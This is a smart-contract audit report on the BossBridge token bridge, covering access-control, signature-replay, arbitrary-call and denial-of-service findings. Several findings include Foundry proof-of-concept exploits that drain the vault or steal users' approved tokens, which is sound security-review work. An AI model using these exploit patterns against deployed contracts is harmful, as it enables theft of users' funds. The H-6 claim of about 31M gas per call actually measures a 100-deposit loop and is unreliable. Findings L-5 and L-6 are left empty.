Protocol Audit Report

Version 1.0

cosminmarian53

May 1, 2025

BossBridge Protocol Audit Report

cosminmarian53

May 1, 2025

Prepared by: cosminmarian53

Table of Contents

  - [H-6] L1BossBridge::depositTokensToL2's DEPOSIT_LIMIT check allows contract to be DoS'd via gas exhaustion

- Medium
  - [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

- Low
  - [L-1]: Large Numeric Literal
  - [L-2]: State Variable Could Be Constant
  - [L-3]: State Change Without Event
  - [L-4]: State Variable Could Be Immutable
    * [L-5] `TokenFactory::deployToken` can create multiple token with same symbol
    * [L-6] Unsupported opcode PUSH0

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

Disclaimer

The lead auditor of this protocol makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
#-- src
|   #-- L1BossBridge.sol
|   #-- L1Token.sol
|   #-- L1Vault.sol
|   #-- TokenFactory.sol
```

Roles

- Bridge owner: can pause and unpause withdrawals in the `L1BossBridge` contract. Also, can add and remove operators. Rogue owners or compromised keys may put at risk all bridge funds.
- User: Accounts that hold BBT tokens and use the `L1BossBridge` contract to deposit and withdraw them.
- Operator: Accounts approved by the bridge owner that can sign withdrawal operations. Rogue operators or compromised keys may put at risk all bridge funds.

Executive Summary

During this audit of the L1BossBridge contract, I applied practical security concepts and industry-standard tooling to uncover critical vulnerabilities, such as a gas-exhaustion DoS vector related to the global deposit limit. The project served as a hands-on application of theoretical and offensive security knowledge in a production-like environment.

Issues found

Severity	Number of issues found
High	6
Medium	1
Low	6
Info	0
Gas	0
Total	13

Findings

High

[H-1] Arbitrary Token Pull (arbitrary `from` + missing access control)

Description:
The `depositTokensToL2(address from, address l2Recipient, uint256 amount)` function allows *any* caller to specify an arbitrary `from` address. Because there is **no** check ensuring `msg.sender == from`, an attacker who has been approved by any user can withdraw that user's tokens into the L1 vault without their consent.

Impact:
An attacker can drain **all** approved tokens from **any** user. Any user who has ever called `token.approve(tokenBridge, amount)`—for example, during a normal front-end deposit flow—is at risk of having their entire approved balance stolen.

Proof of Concept:

Add the following test to `L1TokenBridge.t.sol`:

```solidity
function testCanMoveApprovedTokensOfOtherUsers() public {
        // poor Alice approving
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);
        vm.stopPrank();


        // Alice's balance
        uint256 amountToSteal = token.balanceOf(address(user));
        // A attacker who is not the owner of the tokens
        address attacker = makeAddr("attacker");


        vm.prank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, amountToSteal);
        tokenBridge.depositTokensToL2(user, attacker, amountToSteal);

        // Alice's balance should be 0
        assertEq(token.balanceOf(address(user)), 0);
        // Attacker's balance should be the amount they stole
        assertEq(token.balanceOf(address(vault)), amountToSteal);
    }
```

Recommended Mitigation:

Consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

```diff
- function depositTokensToL2(address from, address l2Recipient, uint256
    amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
   external whenNotPaused {
    if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
        revert L1BossBridge__DepositLimitReached();
    }
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
       corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-2] Calling depositTokensToL2 from the Vault contract to the Vault contract allows infinite minting of unbacked tokens

Description: The bridge's own vault is granted an unlimited approval to spend its tokens (vault.approve(bridge, type(uint256).max)). Since `depositTokensToL2` does not prevent `from == address(vault)`, an attacker can continuously call `depositTokensToL2(address(vault), attacker, amount)`, emitting fake Deposit events without ever increasing the vault's balance past the DEPOSIT_LIMIT.

Impact: An attacker can spam the Deposit event endlessly, causing off-chain relayers to mint unlimited tokens on L2. This results in uncontrolled inflation on L2 and can also degrade system performance via event-log spam.

Proof of Concept:

Add the following test to `L1TokenBridge.t.sol`:

```
function testCanTransferFromVaultToVault() public{
        address attacker = makeAddr("attacker");

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        // can trigger the deposit event, self transfer token to the
           vault
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance);


        // can do this forever
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
           vaultBalance);
    }
```

Recommended Mitigation:

Consider modifying the depositTokensToL2 function so that the caller cannot specify a from address.

```
- function depositTokensToL2(address from, address l2Recipient, uint256
     amount) external whenNotPaused {
+ function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
     if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
         revert L1BossBridge__DepositLimitReached();
     }
```

```diff
-   token.transferFrom(from, address(vault), amount);
+   token.transferFrom(msg.sender, address(vault), amount);

    // Our off-chain service picks up this event and mints the
        corresponding tokens on L2
-   emit Deposit(from, l2Recipient, amount);
+   emit Deposit(msg.sender, l2Recipient, amount);
}
```

[H-3] CREATE opcode does not work on zksync era

Description: In the `TokenFactory.sol` the `CREATE` opcode is used. However, that does not work on the zKSync era chain. This is because it is a `EVM Compatible` chain not a `EVM Equivalent`. I provide the following explanation to these terms:

- **EVM-compatible:** Can execute Ethereum smart-contract bytecode (Solidity/Vyper) with minimal changes, though gas costs or protocol details may vary
- **EVM-equivalent:** Fully mirrors Ethereum's Yellow Paper—opcode semantics, gas schedule, and activated EIPs—for drop-in parity

Here is where the issue happens:

```
        assembly {
              addr := create(0, add(contractBytecode, 0x20), mload(
                  contractBytecode))
          }
```

Impact: Funds could risk being locked in the contract on the ZKSync chain.

Recommended Mitigation: Consider checking their docs for evm-instructions.

[H-4] Lack of replay protection in withdrawTokensToL1 allows withdrawals by signature to be replayed

Description: Users who want to withdraw tokens from the bridge can call the sendToL1 function, or the wrapper withdrawTokensToL1 function. These functions require the caller to send along some withdrawal data signed by one of the approved bridge operators.

However, the signatures do not include any kind of replay-protection mechanisn (e.g., nonces).

Impact: Valid signatures from any bridge operator can be reused by any attacker to continue executing withdrawals until the vault is completely drained.

Proof of Concept: Add the following to the `L1TokenBridge.t.sol`:

```
function testSignatureReplayAttack() public {
      uint256 vaultInitialBalance = 1000e18;
      uint256 attackerIntialBalance = 100e18;
      address attacker = makeAddr("attacker");

      deal(address(token), address(vault), vaultInitialBalance);
      deal(address(token), address(attacker), attackerIntialBalance);

      // an attacker deposits to L2

      vm.startPrank(attacker);
      token.approve(address(tokenBridge), type(uint256).max);
      tokenBridge.depositTokensToL2(
          attacker,
          attacker,
          attackerIntialBalance
      );

      // signer/operator signs the message
      bytes memory message = abi.encode(
          address(token),
          0,
          abi.encodeCall(
              IERC20.transferFrom,
              (address(vault), attacker, attackerIntialBalance)
          )
      );
      (uint8 v, bytes32 r, bytes32 s) = vm.sign(
          operator.key,
          MessageHashUtils.toEthSignedMessageHash(keccak256(message))
      );

      while (token.balanceOf(address(vault)) > 0) {
          // attacker replays the signature
          tokenBridge.withdrawTokensToL1(
              attacker,
              attackerIntialBalance,
              v,
              r,
              s
          );
      }
      assertEq(token.balanceOf(address(vault)), 0);
      assertEq(
          token.balanceOf(address(attacker)),
          attackerIntialBalance + vaultInitialBalance
      );
      vm.stopPrank();
  }
```

Recommended Mitigation: Consider redesigning the withdrawal mechanism so that it includes replay protection.

[H-5] L1BossBridge::sendToL1 allowing arbitrary calls enables users to call L1Vault::approveTo and give themselves infinite allowance of vault funds

Description: The `L1BossBridge` contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitrary low-level calls to any given target. Because there's no restrictions neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. For example, the L1Vault contract. **Impact:** The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that targets the vault and executes is approveTo function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the off-chain validations implemented by the operators that approve and sign withdrawals. However, we're rating it as a High severity issue because, according to the available documentation, the only validation made by off-chain services is that "the account submitting the withdrawal has first originated a successful deposit in the L1 part of the bridge". As the next PoC shows, such validation is not enough to prevent the attack.

PoC: To reproduce, include the following test in the `L1BossBridge.t.sol` file:

```
function testCanCallVaultApproveFromBridgeAndDrainVault() public {
    uint256 vaultInitialBalance = 1000e18;
    deal(address(token), address(vault), vaultInitialBalance);

    // An attacker deposits tokens to L2. We do this under the
        assumption that the
    // bridge operator needs to see a valid deposit tx to then allow us
         to request a withdrawal.
    vm.startPrank(attacker);
    vm.expectEmit(address(tokenBridge));
    emit Deposit(address(attacker), address(0), 0);
    tokenBridge.depositTokensToL2(attacker, address(0), 0);

    // Under the assumption that the bridge operator doesn't validate
        bytes being signed
    bytes memory message = abi.encode(
        address(vault), // target
        0, // value
        abi.encodeCall(L1Vault.approveTo, (address(attacker), type(
            uint256).max)) // data
    );
    (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.
        key);

    tokenBridge.sendToL1(v, r, s, message);
    assertEq(token.allowance(address(vault), attacker), type(uint256).
        max);
    token.transferFrom(address(vault), attacker, token.balanceOf(
        address(vault)));
}
```

Recommended Mitigation:

Consider disallowing attacker-controlled external calls to sensitive components of the bridge, such as the L1Vault contract.

[H-6] L1BossBridge::depositTokensToL2's DEPOSIT_LIMIT check allows contract to be DoS'd via gas exhaustion

Description:
`depositTokensToL2` enforces a global `DEPOSIT_LIMIT` on the vault balance (`token.balanceOf(vault)+ amount <= DEPOSIT_LIMIT`). Once the vault's balance meets or exceeds that limit, **every** subsequent call reverts, halting the bridge. Moreover, repeatedly hitting the limit in a tight loop drives up per-tx gas use to ~31 M gas, making deposits prohibitively expensive and facilitating a gas-related denial of service.

Impact:
An attacker—or simply heavy legitimate usage—can push the vault balance up to the threshold, after which: 1. **All deposits revert**, blocking L2 minting for everyone.
2. **Gas costs spike** (~31 M gas per call), rapidly draining ETH from any user or bot attempting to deposit, further compounding the outage.

Add the following test to `L1TokenBridge.t.sol`: **Proof of Concept:**

```
function testCheckForDenialOfService() public {
    vm.txGasPrice(1);

    uint256 balance  = 100_001 ether;
    uint256 gasStart = gasleft();
    console2.log("Gas start: ", gasStart);

    for (uint256 i = 0; i < 100; i++) {
        address player = makeAddr(string.concat("player", vm.toString(i
            )));
        deal(address(token), player, balance);

        vm.startPrank(player);
```

```
            token.approve(address(tokenBridge), type(uint256).max);
            tokenBridge.depositTokensToL2(player, userInL2, 10 ether);
            vm.stopPrank();
        }

        uint256 gasEnd  = gasleft();
        console2.log("Gas used: ", gasStart - gasEnd);     // ~31_422_268
            gas
        console2.log("Gas end: ", gasEnd);

        vm.prank(makeAddr("victim"));
        vm.expectRevert(L1BossBridge__DepositLimitReached.selector);
        tokenBridge.depositTokensToL2(makeAddr("victim"), userInL2, 1 ether
            );
    }
```

Recommended Mitigation:

- Per-user or per-call limits: cap each deposit (e.g. require(amount <= MAX_SINGLE)) and/or track per-user totals so no one user can exhaust the pool.
- Graceful handling: instead of reverting when the limit is hit, emit an alert event and queue deposits off-chain or batch them when capacity frees up.
- Reading storage is very expensive, so consider making `DEPOSIT_LIMIT` into a constant variable. Also, it may be advised to store `token.balanceOf(address(vault))` into a variable before checking so that it does not need to read it's value from storage constantly

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Description:
During withdrawals, the L1 part of the bridge executes a low-level call to an arbitrary target passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

Impact: In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of returndata in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit sensibly, and therefore be tricked to spent more ETH than necessary to execute the call.

Recommended Mitigation: If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one.

Low

[L-1]: Large Numeric Literal

Large literal values multiples of 10000 can be replaced with scientific notation.Use `e` notation, for example: `1e18`, instead of its full numeric value.

2 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
    uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

- Found in src/L1Token.sol Line: 7

```
    uint256 private constant INITIAL_SUPPLY = 1_000_000;
```

[L-2]: State Variable Could Be Constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

1 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
    uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

[L-3]: State Change Without Event

There are state variable changes in this function but no event is emitted. Consider emitting an event to enable offchain indexers to track the changes.

3 Found Instances

- Found in src/L1BossBridge.sol Line: 57

```
    function setSigner(address account, bool enabled) external
        onlyOwner {
```

- Found in src/L1BossBridge.sol Line: 91

```
    function withdrawTokensToL1(address to, uint256 amount, uint8
        v, bytes32 r, bytes32 s) external {
```

- Found in src/L1BossBridge.sol Line: 112

```
    function sendToL1(uint8 v, bytes32 r, bytes32 s, bytes memory
        message) public nonReentrant whenNotPaused {
```

[L-4]: State Variable Could Be Immutable

State variables that are only changed in the constructor should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

1 Found Instances

- Found in src/L1Vault.sol Line: 13

```
    IERC20 public token;
```

[L-5] `TokenFactory::deployToken` can create multiple token with same symbol

[L-6] Unsupported opcode PUSH0